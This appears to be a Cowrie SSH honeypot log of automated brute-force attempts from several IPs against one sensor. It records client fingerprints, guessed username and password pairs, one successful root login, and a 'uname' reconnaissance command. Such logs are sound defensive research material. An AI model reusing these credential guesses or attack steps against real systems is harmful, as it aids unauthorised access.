{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:49:51.589274Z","src_ip":"101.44.96.62","session":"499bfdf62fcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"bot","message":"login attempt [bot/bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:49:52.241853Z","src_ip":"101.44.96.62","session":"499bfdf62fcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:49:53.465387Z","src_ip":"101.44.96.62","session":"499bfdf62fcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":47084,"dst_ip":"159.203.135.109","dst_port":22,"session":"70c3b110f619","protocol":"ssh","message":"New connection: 101.44.96.62:47084 (159.203.135.109:22) [session: 70c3b110f619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:50:04.787800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:50:04.792008Z","src_ip":"101.44.96.62","session":"70c3b110f619","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:50:05.011821Z","src_ip":"101.44.96.62","session":"70c3b110f619","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debianuser","password":"1qazXSW@","message":"login attempt [debianuser/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:50:05.673328Z","src_ip":"101.44.96.62","session":"70c3b110f619","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:50:06.895408Z","src_ip":"101.44.96.62","session":"70c3b110f619","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":51206,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0fd04e3cae2","protocol":"ssh","message":"New connection: 101.44.96.62:51206 (159.203.135.109:22) [session: c0fd04e3cae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:50:18.300544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:50:18.307769Z","src_ip":"101.44.96.62","session":"c0fd04e3cae2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:50:18.528726Z","src_ip":"101.44.96.62","session":"c0fd04e3cae2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranger","password":"ranger","message":"login attempt [ranger/ranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:50:19.180457Z","src_ip":"101.44.96.62","session":"c0fd04e3cae2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:50:20.398884Z","src_ip":"101.44.96.62","session":"c0fd04e3cae2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":57572,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbfc549ba132","protocol":"ssh","message":"New connection: 101.44.96.62:57572 (159.203.135.109:22) [session: fbfc549ba132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:50:31.718917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:50:31.723396Z","src_ip":"101.44.96.62","session":"fbfc549ba132","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:50:31.937658Z","src_ip":"101.44.96.62","session":"fbfc549ba132","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle","password":"abc123","message":"login attempt [oracle/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:50:32.580763Z","src_ip":"101.44.96.62","session":"fbfc549ba132","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:50:33.796941Z","src_ip":"101.44.96.62","session":"fbfc549ba132","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":46144,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f306d93e49f","protocol":"ssh","message":"New connection: 101.44.96.62:46144 (159.203.135.109:22) [session: 3f306d93e49f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:50:45.151297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:50:45.156333Z","src_ip":"101.44.96.62","session":"3f306d93e49f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:50:45.376520Z","src_ip":"101.44.96.62","session":"3f306d93e49f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:50:46.028518Z","src_ip":"101.44.96.62","session":"3f306d93e49f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:50:47.248718Z","src_ip":"101.44.96.62","session":"3f306d93e49f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":54562,"dst_ip":"159.203.135.109","dst_port":22,"session":"9218c24dc11c","protocol":"ssh","message":"New connection: 101.44.96.62:54562 (159.203.135.109:22) [session: 9218c24dc11c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:50:58.597420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:50:58.601837Z","src_ip":"101.44.96.62","session":"9218c24dc11c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:50:58.818903Z","src_ip":"101.44.96.62","session":"9218c24dc11c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:50:59.481553Z","src_ip":"101.44.96.62","session":"9218c24dc11c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:00.700916Z","src_ip":"101.44.96.62","session":"9218c24dc11c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":43085,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d017b3b123e","protocol":"ssh","message":"New connection: 213.209.159.159:43085 (159.203.135.109:22) [session: 0d017b3b123e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:04.474936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:04.478786Z","src_ip":"213.209.159.159","session":"0d017b3b123e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:04.563516Z","src_ip":"213.209.159.159","session":"0d017b3b123e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jaylyn","password":"jaylyn","message":"login attempt [jaylyn/jaylyn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:04.963471Z","src_ip":"213.209.159.159","session":"0d017b3b123e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jaylyn","password":"jaylyn1","message":"login attempt [jaylyn/jaylyn1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:06.049165Z","src_ip":"213.209.159.159","session":"0d017b3b123e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jaylyn","password":"jaylyn123","message":"login attempt [jaylyn/jaylyn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:07.134778Z","src_ip":"213.209.159.159","session":"0d017b3b123e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jaylyn","password":"jaylyn1234","message":"login attempt [jaylyn/jaylyn1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:08.220998Z","src_ip":"213.209.159.159","session":"0d017b3b123e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jaylyn","password":"jaylyn12345","message":"login attempt [jaylyn/jaylyn12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:09.306544Z","src_ip":"213.209.159.159","session":"0d017b3b123e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:10.392692Z","src_ip":"213.209.159.159","session":"0d017b3b123e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.240.199","src_port":51194,"dst_ip":"159.203.135.109","dst_port":22,"session":"da6524b1a5fd","protocol":"ssh","message":"New connection: 91.92.240.199:51194 (159.203.135.109:22) [session: da6524b1a5fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:11.640879Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":32972,"dst_ip":"159.203.135.109","dst_port":22,"session":"6891d6224e20","protocol":"ssh","message":"New connection: 101.44.96.62:32972 (159.203.135.109:22) [session: 6891d6224e20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:12.039220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:12.043952Z","src_ip":"101.44.96.62","session":"6891d6224e20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:12.258389Z","src_ip":"101.44.96.62","session":"6891d6224e20","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:12.904398Z","src_ip":"101.44.96.62","session":"6891d6224e20","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:13.386331Z","src_ip":"101.44.96.62","session":"6891d6224e20","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:13.389002Z","src_ip":"101.44.96.62","session":"6891d6224e20","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:13.604548Z","src_ip":"101.44.96.62","session":"6891d6224e20","protocol":"ssh"}
